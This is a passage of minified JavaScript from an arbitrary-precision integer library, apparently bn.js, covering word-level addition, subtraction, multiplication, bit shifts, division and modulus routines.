this.negative=0,b=this.isub(h),this.negative^=1,this._normSign();if(this.negative===0&&h.negative!==0)return h.negative=0,b=this.isub(h),h.negative=1,b._normSign();var w,A;this.length>h.length?(w=this,A=h):(w=h,A=this);for(var C=0,S=0;S<A.length;S++)b=(w.words[S]|0)+(A.words[S]|0)+C,this.words[S]=b&67108863,C=b>>>26;for(;C!==0&&S<w.length;S++)b=(w.words[S]|0)+C,this.words[S]=b&67108863,C=b>>>26;if(this.length=w.length,C!==0)this.words[this.length]=C,this.length++;else if(w!==this)for(;S<w.length;S++)this.words[S]=w.words[S];return this},i.prototype.add=function(h){var b;return h.negative!==0&&this.negative===0?(h.negative=0,b=this.sub(h),h.negative^=1,b):h.negative===0&&this.negative!==0?(this.negative=0,b=h.sub(this),this.negative=1,b):this.length>h.length?this.clone().iadd(h):h.clone().iadd(this)},i.prototype.isub=function(h){if(h.negative!==0){h.negative=0;var b=this.iadd(h);return h.negative=1,b._normSign()}else if(this.negative!==0)return this.negative=0,this.iadd(h),this.negative=1,this._normSign();var w=this.cmp(h);if(w===0)return this.negative=0,this.length=1,this.words[0]=0,this;var A,C;w>0?(A=this,C=h):(A=h,C=this);for(var S=0,z=0;z<C.length;z++)b=(A.words[z]|0)-(C.words[z]|0)+S,S=b>>26,this.words[z]=b&67108863;for(;S!==0&&z<A.length;z++)b=(A.words[z]|0)+S,S=b>>26,this.words[z]=b&67108863;if(S===0&&z<A.length&&A!==this)for(;z<A.length;z++)this.words[z]=A.words[z];return this.length=Math.max(this.length,z),A!==this&&(this.negative=1),this._strip()},i.prototype.sub=function(h){return this.clone().isub(h)};function q(L,h,b){b.negative=h.negative^L.negative;var w=L.length+h.length|0;b.length=w,w=w-1|0;var A=L.words[0]|0,C=h.words[0]|0,S=A*C,z=S&67108863,k=S/67108864|0;b.words[0]=z;for(var y=1;y<w;y++){for(var T=k>>>26,te=k&67108863,le=Math.min(y,h.length-1),re=Math.max(0,y-L.length+1);re<=le;re++){var de=y-re|0;A=L.words[de]|0,C=h.words[re]|0,S=A*C+te,T+=S/67108864|0,te=S&67108863}b.words[y]=te|0,k=T|0}return k!==0?b.words[y]=k|0:b.length--,b._strip()}var M=function(h,b,w){var A=h.words,C=b.words,S=w.words,z=0,k,y,T,te=A[0]|0,le=te&8191,re=te>>>13,de=A[1]|0,ce=de&8191,we=de>>>13,Ie=A[2]|0,ge=Ie&8191,Me=Ie>>>13,se=A[3]|0,ue=se&8191,ve=se>>>13,ke=A[4]|0,me=ke&8191,Ee=ke>>>13,Le=A[5]|0,Ae=Le&8191,be=Le>>>13,xe=A[6]|0,Re=xe&8191,Ne=xe>>>13,Se=A[7]|0,Ze=Se&8191,Q=Se>>>13,J=A[8]|0,V=J&8191,G=J>>>13,O=A[9]|0,Z=O&8191,Y=O>>>13,$=C[0]|0,oe=$&8191,ee=$>>>13,ze=C[1]|0,Te=ze&8191,Xe=ze>>>13,wt=C[2]|0,at=wt&8191,gt=wt>>>13,Ht=C[3]|0,vt=Ht&8191,Rt=Ht>>>13,Pi=C[4]|0,Nt=Pi&8191,Ft=Pi>>>13,yi=C[5]|0,Pt=yi&8191,Yt=yi>>>13,Di=C[6]|0,Dt=Di&8191,Xt=Di>>>13,Xi=C[7]|0,Ke=Xi&8191,Ue=Xi>>>13,dn=C[8]|0,qt=dn&8191,Zt=dn>>>13,Ur=C[9]|0,Ut=Ur&8191,jt=Ur>>>13;w.negative=h.negative^b.negative,w.length=19,k=Math.imul(le,oe),y=Math.imul(le,ee),y=y+Math.imul(re,oe)|0,T=Math.imul(re,ee);var Pn=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Pn>>>26)|0,Pn&=67108863,k=Math.imul(ce,oe),y=Math.imul(ce,ee),y=y+Math.imul(we,oe)|0,T=Math.imul(we,ee),k=k+Math.imul(le,Te)|0,y=y+Math.imul(le,Xe)|0,y=y+Math.imul(re,Te)|0,T=T+Math.imul(re,Xe)|0;var Ao=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Ao>>>26)|0,Ao&=67108863,k=Math.imul(ge,oe),y=Math.imul(ge,ee),y=y+Math.imul(Me,oe)|0,T=Math.imul(Me,ee),k=k+Math.imul(ce,Te)|0,y=y+Math.imul(ce,Xe)|0,y=y+Math.imul(we,Te)|0,T=T+Math.imul(we,Xe)|0,k=k+Math.imul(le,at)|0,y=y+Math.imul(le,gt)|0,y=y+Math.imul(re,at)|0,T=T+Math.imul(re,gt)|0;var Xo=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Xo>>>26)|0,Xo&=67108863,k=Math.imul(ue,oe),y=Math.imul(ue,ee),y=y+Math.imul(ve,oe)|0,T=Math.imul(ve,ee),k=k+Math.imul(ge,Te)|0,y=y+Math.imul(ge,Xe)|0,y=y+Math.imul(Me,Te)|0,T=T+Math.imul(Me,Xe)|0,k=k+Math.imul(ce,at)|0,y=y+Math.imul(ce,gt)|0,y=y+Math.imul(we,at)|0,T=T+Math.imul(we,gt)|0,k=k+Math.imul(le,vt)|0,y=y+Math.imul(le,Rt)|0,y=y+Math.imul(re,vt)|0,T=T+Math.imul(re,Rt)|0;var Je=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Je>>>26)|0,Je&=67108863,k=Math.imul(me,oe),y=Math.imul(me,ee),y=y+Math.imul(Ee,oe)|0,T=Math.imul(Ee,ee),k=k+Math.imul(ue,Te)|0,y=y+Math.imul(ue,Xe)|0,y=y+Math.imul(ve,Te)|0,T=T+Math.imul(ve,Xe)|0,k=k+Math.imul(ge,at)|0,y=y+Math.imul(ge,gt)|0,y=y+Math.imul(Me,at)|0,T=T+Math.imul(Me,gt)|0,k=k+Math.imul(ce,vt)|0,y=y+Math.imul(ce,Rt)|0,y=y+Math.imul(we,vt)|0,T=T+Math.imul(we,Rt)|0,k=k+Math.imul(le,Nt)|0,y=y+Math.imul(le,Ft)|0,y=y+Math.imul(re,Nt)|0,T=T+Math.imul(re,Ft)|0;var ct=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(ct>>>26)|0,ct&=67108863,k=Math.imul(Ae,oe),y=Math.imul(Ae,ee),y=y+Math.imul(be,oe)|0,T=Math.imul(be,ee),k=k+Math.imul(me,Te)|0,y=y+Math.imul(me,Xe)|0,y=y+Math.imul(Ee,Te)|0,T=T+Math.imul(Ee,Xe)|0,k=k+Math.imul(ue,at)|0,y=y+Math.imul(ue,gt)|0,y=y+Math.imul(ve,at)|0,T=T+Math.imul(ve,gt)|0,k=k+Math.imul(ge,vt)|0,y=y+Math.imul(ge,Rt)|0,y=y+Math.imul(Me,vt)|0,T=T+Math.imul(Me,Rt)|0,k=k+Math.imul(ce,Nt)|0,y=y+Math.imul(ce,Ft)|0,y=y+Math.imul(we,Nt)|0,T=T+Math.imul(we,Ft)|0,k=k+Math.imul(le,Pt)|0,y=y+Math.imul(le,Yt)|0,y=y+Math.imul(re,Pt)|0,T=T+Math.imul(re,Yt)|0;var Mt=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Mt>>>26)|0,Mt&=67108863,k=Math.imul(Re,oe),y=Math.imul(Re,ee),y=y+Math.imul(Ne,oe)|0,T=Math.imul(Ne,ee),k=k+Math.imul(Ae,Te)|0,y=y+Math.imul(Ae,Xe)|0,y=y+Math.imul(be,Te)|0,T=T+Math.imul(be,Xe)|0,k=k+Math.imul(me,at)|0,y=y+Math.imul(me,gt)|0,y=y+Math.imul(Ee,at)|0,T=T+Math.imul(Ee,gt)|0,k=k+Math.imul(ue,vt)|0,y=y+Math.imul(ue,Rt)|0,y=y+Math.imul(ve,vt)|0,T=T+Math.imul(ve,Rt)|0,k=k+Math.imul(ge,Nt)|0,y=y+Math.imul(ge,Ft)|0,y=y+Math.imul(Me,Nt)|0,T=T+Math.imul(Me,Ft)|0,k=k+Math.imul(ce,Pt)|0,y=y+Math.imul(ce,Yt)|0,y=y+Math.imul(we,Pt)|0,T=T+Math.imul(we,Yt)|0,k=k+Math.imul(le,Dt)|0,y=y+Math.imul(le,Xt)|0,y=y+Math.imul(re,Dt)|0,T=T+Math.imul(re,Xt)|0;var Bt=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Bt>>>26)|0,Bt&=67108863,k=Math.imul(Ze,oe),y=Math.imul(Ze,ee),y=y+Math.imul(Q,oe)|0,T=Math.imul(Q,ee),k=k+Math.imul(Re,Te)|0,y=y+Math.imul(Re,Xe)|0,y=y+Math.imul(Ne,Te)|0,T=T+Math.imul(Ne,Xe)|0,k=k+Math.imul(Ae,at)|0,y=y+Math.imul(Ae,gt)|0,y=y+Math.imul(be,at)|0,T=T+Math.imul(be,gt)|0,k=k+Math.imul(me,vt)|0,y=y+Math.imul(me,Rt)|0,y=y+Math.imul(Ee,vt)|0,T=T+Math.imul(Ee,Rt)|0,k=k+Math.imul(ue,Nt)|0,y=y+Math.imul(ue,Ft)|0,y=y+Math.imul(ve,Nt)|0,T=T+Math.imul(ve,Ft)|0,k=k+Math.imul(ge,Pt)|0,y=y+Math.imul(ge,Yt)|0,y=y+Math.imul(Me,Pt)|0,T=T+Math.imul(Me,Yt)|0,k=k+Math.imul(ce,Dt)|0,y=y+Math.imul(ce,Xt)|0,y=y+Math.imul(we,Dt)|0,T=T+Math.imul(we,Xt)|0,k=k+Math.imul(le,Ke)|0,y=y+Math.imul(le,Ue)|0,y=y+Math.imul(re,Ke)|0,T=T+Math.imul(re,Ue)|0;var vr=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(vr>>>26)|0,vr&=67108863,k=Math.imul(V,oe),y=Math.imul(V,ee),y=y+Math.imul(G,oe)|0,T=Math.imul(G,ee),k=k+Math.imul(Ze,Te)|0,y=y+Math.imul(Ze,Xe)|0,y=y+Math.imul(Q,Te)|0,T=T+Math.imul(Q,Xe)|0,k=k+Math.imul(Re,at)|0,y=y+Math.imul(Re,gt)|0,y=y+Math.imul(Ne,at)|0,T=T+Math.imul(Ne,gt)|0,k=k+Math.imul(Ae,vt)|0,y=y+Math.imul(Ae,Rt)|0,y=y+Math.imul(be,vt)|0,T=T+Math.imul(be,Rt)|0,k=k+Math.imul(me,Nt)|0,y=y+Math.imul(me,Ft)|0,y=y+Math.imul(Ee,Nt)|0,T=T+Math.imul(Ee,Ft)|0,k=k+Math.imul(ue,Pt)|0,y=y+Math.imul(ue,Yt)|0,y=y+Math.imul(ve,Pt)|0,T=T+Math.imul(ve,Yt)|0,k=k+Math.imul(ge,Dt)|0,y=y+Math.imul(ge,Xt)|0,y=y+Math.imul(Me,Dt)|0,T=T+Math.imul(Me,Xt)|0,k=k+Math.imul(ce,Ke)|0,y=y+Math.imul(ce,Ue)|0,y=y+Math.imul(we,Ke)|0,T=T+Math.imul(we,Ue)|0,k=k+Math.imul(le,qt)|0,y=y+Math.imul(le,Zt)|0,y=y+Math.imul(re,qt)|0,T=T+Math.imul(re,Zt)|0;var qr=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(qr>>>26)|0,qr&=67108863,k=Math.imul(Z,oe),y=Math.imul(Z,ee),y=y+Math.imul(Y,oe)|0,T=Math.imul(Y,ee),k=k+Math.imul(V,Te)|0,y=y+Math.imul(V,Xe)|0,y=y+Math.imul(G,Te)|0,T=T+Math.imul(G,Xe)|0,k=k+Math.imul(Ze,at)|0,y=y+Math.imul(Ze,gt)|0,y=y+Math.imul(Q,at)|0,T=T+Math.imul(Q,gt)|0,k=k+Math.imul(Re,vt)|0,y=y+Math.imul(Re,Rt)|0,y=y+Math.imul(Ne,vt)|0,T=T+Math.imul(Ne,Rt)|0,k=k+Math.imul(Ae,Nt)|0,y=y+Math.imul(Ae,Ft)|0,y=y+Math.imul(be,Nt)|0,T=T+Math.imul(be,Ft)|0,k=k+Math.imul(me,Pt)|0,y=y+Math.imul(me,Yt)|0,y=y+Math.imul(Ee,Pt)|0,T=T+Math.imul(Ee,Yt)|0,k=k+Math.imul(ue,Dt)|0,y=y+Math.imul(ue,Xt)|0,y=y+Math.imul(ve,Dt)|0,T=T+Math.imul(ve,Xt)|0,k=k+Math.imul(ge,Ke)|0,y=y+Math.imul(ge,Ue)|0,y=y+Math.imul(Me,Ke)|0,T=T+Math.imul(Me,Ue)|0,k=k+Math.imul(ce,qt)|0,y=y+Math.imul(ce,Zt)|0,y=y+Math.imul(we,qt)|0,T=T+Math.imul(we,Zt)|0,k=k+Math.imul(le,Ut)|0,y=y+Math.imul(le,jt)|0,y=y+Math.imul(re,Ut)|0,T=T+Math.imul(re,jt)|0;var Ea=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Ea>>>26)|0,Ea&=67108863,k=Math.imul(Z,Te),y=Math.imul(Z,Xe),y=y+Math.imul(Y,Te)|0,T=Math.imul(Y,Xe),k=k+Math.imul(V,at)|0,y=y+Math.imul(V,gt)|0,y=y+Math.imul(G,at)|0,T=T+Math.imul(G,gt)|0,k=k+Math.imul(Ze,vt)|0,y=y+Math.imul(Ze,Rt)|0,y=y+Math.imul(Q,vt)|0,T=T+Math.imul(Q,Rt)|0,k=k+Math.imul(Re,Nt)|0,y=y+Math.imul(Re,Ft)|0,y=y+Math.imul(Ne,Nt)|0,T=T+Math.imul(Ne,Ft)|0,k=k+Math.imul(Ae,Pt)|0,y=y+Math.imul(Ae,Yt)|0,y=y+Math.imul(be,Pt)|0,T=T+Math.imul(be,Yt)|0,k=k+Math.imul(me,Dt)|0,y=y+Math.imul(me,Xt)|0,y=y+Math.imul(Ee,Dt)|0,T=T+Math.imul(Ee,Xt)|0,k=k+Math.imul(ue,Ke)|0,y=y+Math.imul(ue,Ue)|0,y=y+Math.imul(ve,Ke)|0,T=T+Math.imul(ve,Ue)|0,k=k+Math.imul(ge,qt)|0,y=y+Math.imul(ge,Zt)|0,y=y+Math.imul(Me,qt)|0,T=T+Math.imul(Me,Zt)|0,k=k+Math.imul(ce,Ut)|0,y=y+Math.imul(ce,jt)|0,y=y+Math.imul(we,Ut)|0,T=T+Math.imul(we,jt)|0;var Aa=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Aa>>>26)|0,Aa&=67108863,k=Math.imul(Z,at),y=Math.imul(Z,gt),y=y+Math.imul(Y,at)|0,T=Math.imul(Y,gt),k=k+Math.imul(V,vt)|0,y=y+Math.imul(V,Rt)|0,y=y+Math.imul(G,vt)|0,T=T+Math.imul(G,Rt)|0,k=k+Math.imul(Ze,Nt)|0,y=y+Math.imul(Ze,Ft)|0,y=y+Math.imul(Q,Nt)|0,T=T+Math.imul(Q,Ft)|0,k=k+Math.imul(Re,Pt)|0,y=y+Math.imul(Re,Yt)|0,y=y+Math.imul(Ne,Pt)|0,T=T+Math.imul(Ne,Yt)|0,k=k+Math.imul(Ae,Dt)|0,y=y+Math.imul(Ae,Xt)|0,y=y+Math.imul(be,Dt)|0,T=T+Math.imul(be,Xt)|0,k=k+Math.imul(me,Ke)|0,y=y+Math.imul(me,Ue)|0,y=y+Math.imul(Ee,Ke)|0,T=T+Math.imul(Ee,Ue)|0,k=k+Math.imul(ue,qt)|0,y=y+Math.imul(ue,Zt)|0,y=y+Math.imul(ve,qt)|0,T=T+Math.imul(ve,Zt)|0,k=k+Math.imul(ge,Ut)|0,y=y+Math.imul(ge,jt)|0,y=y+Math.imul(Me,Ut)|0,T=T+Math.imul(Me,jt)|0;var Ma=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Ma>>>26)|0,Ma&=67108863,k=Math.imul(Z,vt),y=Math.imul(Z,Rt),y=y+Math.imul(Y,vt)|0,T=Math.imul(Y,Rt),k=k+Math.imul(V,Nt)|0,y=y+Math.imul(V,Ft)|0,y=y+Math.imul(G,Nt)|0,T=T+Math.imul(G,Ft)|0,k=k+Math.imul(Ze,Pt)|0,y=y+Math.imul(Ze,Yt)|0,y=y+Math.imul(Q,Pt)|0,T=T+Math.imul(Q,Yt)|0,k=k+Math.imul(Re,Dt)|0,y=y+Math.imul(Re,Xt)|0,y=y+Math.imul(Ne,Dt)|0,T=T+Math.imul(Ne,Xt)|0,k=k+Math.imul(Ae,Ke)|0,y=y+Math.imul(Ae,Ue)|0,y=y+Math.imul(be,Ke)|0,T=T+Math.imul(be,Ue)|0,k=k+Math.imul(me,qt)|0,y=y+Math.imul(me,Zt)|0,y=y+Math.imul(Ee,qt)|0,T=T+Math.imul(Ee,Zt)|0,k=k+Math.imul(ue,Ut)|0,y=y+Math.imul(ue,jt)|0,y=y+Math.imul(ve,Ut)|0,T=T+Math.imul(ve,jt)|0;var Ca=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Ca>>>26)|0,Ca&=67108863,k=Math.imul(Z,Nt),y=Math.imul(Z,Ft),y=y+Math.imul(Y,Nt)|0,T=Math.imul(Y,Ft),k=k+Math.imul(V,Pt)|0,y=y+Math.imul(V,Yt)|0,y=y+Math.imul(G,Pt)|0,T=T+Math.imul(G,Yt)|0,k=k+Math.imul(Ze,Dt)|0,y=y+Math.imul(Ze,Xt)|0,y=y+Math.imul(Q,Dt)|0,T=T+Math.imul(Q,Xt)|0,k=k+Math.imul(Re,Ke)|0,y=y+Math.imul(Re,Ue)|0,y=y+Math.imul(Ne,Ke)|0,T=T+Math.imul(Ne,Ue)|0,k=k+Math.imul(Ae,qt)|0,y=y+Math.imul(Ae,Zt)|0,y=y+Math.imul(be,qt)|0,T=T+Math.imul(be,Zt)|0,k=k+Math.imul(me,Ut)|0,y=y+Math.imul(me,jt)|0,y=y+Math.imul(Ee,Ut)|0,T=T+Math.imul(Ee,jt)|0;var ka=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(ka>>>26)|0,ka&=67108863,k=Math.imul(Z,Pt),y=Math.imul(Z,Yt),y=y+Math.imul(Y,Pt)|0,T=Math.imul(Y,Yt),k=k+Math.imul(V,Dt)|0,y=y+Math.imul(V,Xt)|0,y=y+Math.imul(G,Dt)|0,T=T+Math.imul(G,Xt)|0,k=k+Math.imul(Ze,Ke)|0,y=y+Math.imul(Ze,Ue)|0,y=y+Math.imul(Q,Ke)|0,T=T+Math.imul(Q,Ue)|0,k=k+Math.imul(Re,qt)|0,y=y+Math.imul(Re,Zt)|0,y=y+Math.imul(Ne,qt)|0,T=T+Math.imul(Ne,Zt)|0,k=k+Math.imul(Ae,Ut)|0,y=y+Math.imul(Ae,jt)|0,y=y+Math.imul(be,Ut)|0,T=T+Math.imul(be,jt)|0;var xa=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(xa>>>26)|0,xa&=67108863,k=Math.imul(Z,Dt),y=Math.imul(Z,Xt),y=y+Math.imul(Y,Dt)|0,T=Math.imul(Y,Xt),k=k+Math.imul(V,Ke)|0,y=y+Math.imul(V,Ue)|0,y=y+Math.imul(G,Ke)|0,T=T+Math.imul(G,Ue)|0,k=k+Math.imul(Ze,qt)|0,y=y+Math.imul(Ze,Zt)|0,y=y+Math.imul(Q,qt)|0,T=T+Math.imul(Q,Zt)|0,k=k+Math.imul(Re,Ut)|0,y=y+Math.imul(Re,jt)|0,y=y+Math.imul(Ne,Ut)|0,T=T+Math.imul(Ne,jt)|0;var Oa=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Oa>>>26)|0,Oa&=67108863,k=Math.imul(Z,Ke),y=Math.imul(Z,Ue),y=y+Math.imul(Y,Ke)|0,T=Math.imul(Y,Ue),k=k+Math.imul(V,qt)|0,y=y+Math.imul(V,Zt)|0,y=y+Math.imul(G,qt)|0,T=T+Math.imul(G,Zt)|0,k=k+Math.imul(Ze,Ut)|0,y=y+Math.imul(Ze,jt)|0,y=y+Math.imul(Q,Ut)|0,T=T+Math.imul(Q,jt)|0;var za=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(za>>>26)|0,za&=67108863,k=Math.imul(Z,qt),y=Math.imul(Z,Zt),y=y+Math.imul(Y,qt)|0,T=Math.imul(Y,Zt),k=k+Math.imul(V,Ut)|0,y=y+Math.imul(V,jt)|0,y=y+Math.imul(G,Ut)|0,T=T+Math.imul(G,jt)|0;var Ka=(z+k|0)+((y&8191)<<13)|0;z=(T+(y>>>13)|0)+(Ka>>>26)|0,Ka&=67108863,k=Math.imul(Z,Ut),y=Math.imul(Z,jt),y=y+Math.imul(Y,Ut)|0,T=Math.imul(Y,jt);var Ra=(z+k|0)+((y&8191)<<13)|0;return z=(T+(y>>>13)|0)+(Ra>>>26)|0,Ra&=67108863,S[0]=Pn,S[1]=Ao,S[2]=Xo,S[3]=Je,S[4]=ct,S[5]=Mt,S[6]=Bt,S[7]=vr,S[8]=qr,S[9]=Ea,S[10]=Aa,S[11]=Ma,S[12]=Ca,S[13]=ka,S[14]=xa,S[15]=Oa,S[16]=za,S[17]=Ka,S[18]=Ra,z!==0&&(S[19]=z,w.length++),w};Math.imul||(M=q);function E(L,h,b){b.negative=h.negative^L.negative,b.length=L.length+h.length;for(var w=0,A=0,C=0;C<b.length-1;C++){var S=A;A=0;for(var z=w&67108863,k=Math.min(C,h.length-1),y=Math.max(0,C-L.length+1);y<=k;y++){var T=C-y,te=L.words[T]|0,le=h.words[y]|0,re=te*le,de=re&67108863;S=S+(re/67108864|0)|0,de=de+z|0,z=de&67108863,S=S+(de>>>26)|0,A+=S>>>26,S&=67108863}b.words[C]=z,w=S,S=A}return w!==0?b.words[C]=w:b.length--,b._strip()}function x(L,h,b){return E(L,h,b)}i.prototype.mulTo=function(h,b){var w,A=this.length+h.length;return this.length===10&&h.length===10?w=M(this,h,b):A<63?w=q(this,h,b):A<1024?w=E(this,h,b):w=x(this,h,b),w},i.prototype.mul=function(h){var b=new i(null);return b.words=new Array(this.length+h.length),this.mulTo(h,b)},i.prototype.mulf=function(h){var b=new i(null);return b.words=new Array(this.length+h.length),x(this,h,b)},i.prototype.imul=function(h){return this.clone().mulTo(h,this)},i.prototype.imuln=function(h){var b=h<0;b&&(h=-h),r(typeof h=="number"),r(h<67108864);for(var w=0,A=0;A<this.length;A++){var C=(this.words[A]|0)*h,S=(C&67108863)+(w&67108863);w>>=26,w+=C/67108864|0,w+=S>>>26,this.words[A]=S&67108863}return w!==0&&(this.words[A]=w,this.length++),b?this.ineg():this},i.prototype.muln=function(h){return this.clone().imuln(h)},i.prototype.sqr=function(){return this.mul(this)},i.prototype.isqr=function(){return this.imul(this.clone())},i.prototype.pow=function(h){var b=I(h);if(b.length===0)return new i(1);for(var w=this,A=0;A<b.length&&b[A]===0;A++,w=w.sqr());if(++A<b.length)for(var C=w.sqr();A<b.length;A++,C=C.sqr())b[A]!==0&&(w=w.mul(C));return w},i.prototype.iushln=function(h){r(typeof h=="number"&&h>=0);var b=h%26,w=(h-b)/26,A=67108863>>>26-b<<26-b,C;if(b!==0){var S=0;for(C=0;C<this.length;C++){var z=this.words[C]&A,k=(this.words[C]|0)-z<<b;this.words[C]=k|S,S=z>>>26-b}S&&(this.words[C]=S,this.length++)}if(w!==0){for(C=this.length-1;C>=0;C--)this.words[C+w]=this.words[C];for(C=0;C<w;C++)this.words[C]=0;this.length+=w}return this._strip()},i.prototype.ishln=function(h){return r(this.negative===0),this.iushln(h)},i.prototype.iushrn=function(h,b,w){r(typeof h=="number"&&h>=0);var A;b?A=(b-b%26)/26:A=0;var C=h%26,S=Math.min((h-C)/26,this.length),z=67108863^67108863>>>C<<C,k=w;if(A-=S,A=Math.max(0,A),k){for(var y=0;y<S;y++)k.words[y]=this.words[y];k.length=S}if(S!==0)if(this.length>S)for(this.length-=S,y=0;y<this.length;y++)this.words[y]=this.words[y+S];else this.words[0]=0,this.length=1;var T=0;for(y=this.length-1;y>=0&&(T!==0||y>=A);y--){var te=this.words[y]|0;this.words[y]=T<<26-C|te>>>C,T=te&z}return k&&T!==0&&(k.words[k.length++]=T),this.length===0&&(this.words[0]=0,this.length=1),this._strip()},i.prototype.ishrn=function(h,b,w){return r(this.negative===0),this.iushrn(h,b,w)},i.prototype.shln=function(h){return this.clone().ishln(h)},i.prototype.ushln=function(h){return this.clone().iushln(h)},i.prototype.shrn=function(h){return this.clone().ishrn(h)},i.prototype.ushrn=function(h){return this.clone().iushrn(h)},i.prototype.testn=function(h){r(typeof h=="number"&&h>=0);var b=h%26,w=(h-b)/26,A=1<<b;if(this.length<=w)return!1;var C=this.words[w];return!!(C&A)},i.prototype.imaskn=function(h){r(typeof h=="number"&&h>=0);var b=h%26,w=(h-b)/26;if(r(this.negative===0,"imaskn works only with positive numbers"),this.length<=w)return this;if(b!==0&&w++,this.length=Math.min(w,this.length),b!==0){var A=67108863^67108863>>>b<<b;this.words[this.length-1]&=A}return this._strip()},i.prototype.maskn=function(h){return this.clone().imaskn(h)},i.prototype.iaddn=function(h){return r(typeof h=="number"),r(h<67108864),h<0?this.isubn(-h):this.negative!==0?this.length===1&&(this.words[0]|0)<=h?(this.words[0]=h-(this.words[0]|0),this.negative=0,this):(this.negative=0,this.isubn(h),this.negative=1,this):this._iaddn(h)},i.prototype._iaddn=function(h){this.words[0]+=h;for(var b=0;b<this.length&&this.words[b]>=67108864;b++)this.words[b]-=67108864,b===this.length-1?this.words[b+1]=1:this.words[b+1]++;return this.length=Math.max(this.length,b+1),this},i.prototype.isubn=function(h){if(r(typeof h=="number"),r(h<67108864),h<0)return this.iaddn(-h);if(this.negative!==0)return this.negative=0,this.iaddn(h),this.negative=1,this;if(this.words[0]-=h,this.length===1&&this.words[0]<0)this.words[0]=-this.words[0],this.negative=1;else for(var b=0;b<this.length&&this.words[b]<0;b++)this.words[b]+=67108864,this.words[b+1]-=1;return this._strip()},i.prototype.addn=function(h){return this.clone().iaddn(h)},i.prototype.subn=function(h){return this.clone().isubn(h)},i.prototype.iabs=function(){return this.negative=0,this},i.prototype.abs=function(){return this.clone().iabs()},i.prototype._ishlnsubmul=function(h,b,w){var A=h.length+w,C;this._expand(A);var S,z=0;for(C=0;C<h.length;C++){S=(this.words[C+w]|0)+z;var k=(h.words[C]|0)*b;S-=k&67108863,z=(S>>26)-(k/67108864|0),this.words[C+w]=S&67108863}for(;C<this.length-w;C++)S=(this.words[C+w]|0)+z,z=S>>26,this.words[C+w]=S&67108863;if(z===0)return this._strip();for(r(z===-1),z=0,C=0;C<this.length;C++)S=-(this.words[C]|0)+z,z=S>>26,this.words[C]=S&67108863;return this.negative=1,this._strip()},i.prototype._wordDiv=function(h,b){var w=this.length-h.length,A=this.clone(),C=h,S=C.words[C.length-1]|0,z=this._countBits(S);w=26-z,w!==0&&(C=C.ushln(w),A.iushln(w),S=C.words[C.length-1]|0);var k=A.length-C.length,y;if(b!=="mod"){y=new i(null),y.length=k+1,y.words=new Array(y.length);for(var T=0;T<y.length;T++)y.words[T]=0}var te=A.clone()._ishlnsubmul(C,1,k);te.negative===0&&(A=te,y&&(y.words[k]=1));for(var le=k-1;le>=0;le--){var re=(A.words[C.length+le]|0)*67108864+(A.words[C.length+le-1]|0);for(re=Math.min(re/S|0,67108863),A._ishlnsubmul(C,re,le);A.negative!==0;)re--,A.negative=0,A._ishlnsubmul(C,1,le),A.isZero()||(A.negative^=1);y&&(y.words[le]=re)}return y&&y._strip(),A._strip(),b!=="div"&&w!==0&&A.iushrn(w),{div:y||null,mod:A}},i.prototype.divmod=function(h,b,w){if(r(!h.isZero()),this.isZero())return{div:new i(0),mod:new i(0)};var A,C,S;return this.negative!==0&&h.negative===0?(S=this.neg().divmod(h,b),b!=="mod"&&(A=S.div.neg()),b!=="div"&&(C=S.mod.neg(),w&&C.negative!==0&&C.iadd(h)),{div:A,mod:C}):this.negative===0&&h.negative!==0?(S=this.divmod(h.neg(),b),b!=="mod"&&(A=S.div.neg()),{div:A,mod:S.mod}):this.negative&h.negative?(S=this.neg().divmod(h.neg(),b),b!=="div"&&(C=S.mod.neg(),w&&C.negative!==0&&C.isub(h)),{div:S.div,mod:C}):h.length>this.length||this.cmp(h)<0?{div:new i(0),mod:this}:h.length===1?b==="div"?{div:this.divn(h.words[0]),mod:null}:b==="mod"?{div:null,mod:new i(this.modrn(h.words[0]))}:{div:this.divn(h.words[0]),mod:new i(this.modrn(h.words[0]))}:this._wordDiv(h,b)},i.prototype.div=function(h){return this.divmod(h,"div",!1).div},i.prototype.mod=function(h){return this.divmod(h,"mod",!1).mod},i.prototype.umod=function(h){return this.divmod(h,"mod",!0).mod},i.prototype.divRound=function(h){var b=this.divmod(h);if(b.mod.isZero())return b.div;var w=b.div.negative!==0?b.mod.isub(h):b.mod,A=h.ushrn(1),C=h.andln(1),S=w.cmp(A);return S<0||C===1&&S===0?b.div:b.div.negative!==0?b.div.isubn(1):b.div.iaddn(1)},i.prototype.modrn=function(h){var b=h<0;b&&(h=-h),r(h<=67108863);for(var w=(1<<26)%h,A=0,C=this.length-1;C>=0;C--)A=(w*A+(this.words[C]|0))%h;return b?-A:A},i.prototype.modn=function(h){return this.modrn(h)},i.prototype.idivn=function(h){var b=h<0;b&&(h=-h),r(h<=67108863);for(var w=0,A=this.length-1;A>=0;A--){var C=(this.words[A]|0)+w*67108864;this.words[A]=C/h|0,w=C%h}return this._strip(),b?this.ineg():this},i.prototype.divn=function(h){return this.clone().idivn(h)},i.prototype.egcd=function(h){r(h.negative===0),r(!h.isZero());var b=this,w=h.clone();b.negative!==0?b=b.umod(h):b=b.clone();for(var A=new i(1),C=new i(0),S=new i(0),z=new i(1),k=0;b.isEven()&&w.isEven();)b.iushrn(1),w.iushrn(1),++k;for(var y=w.clone(),T=b.clone();!b.isZero();){for(var te=0,le=1;!(b.words[0]&le)&&te<26;++te,le<<=1);if(te>0)for(b.iushrn(te);te-- 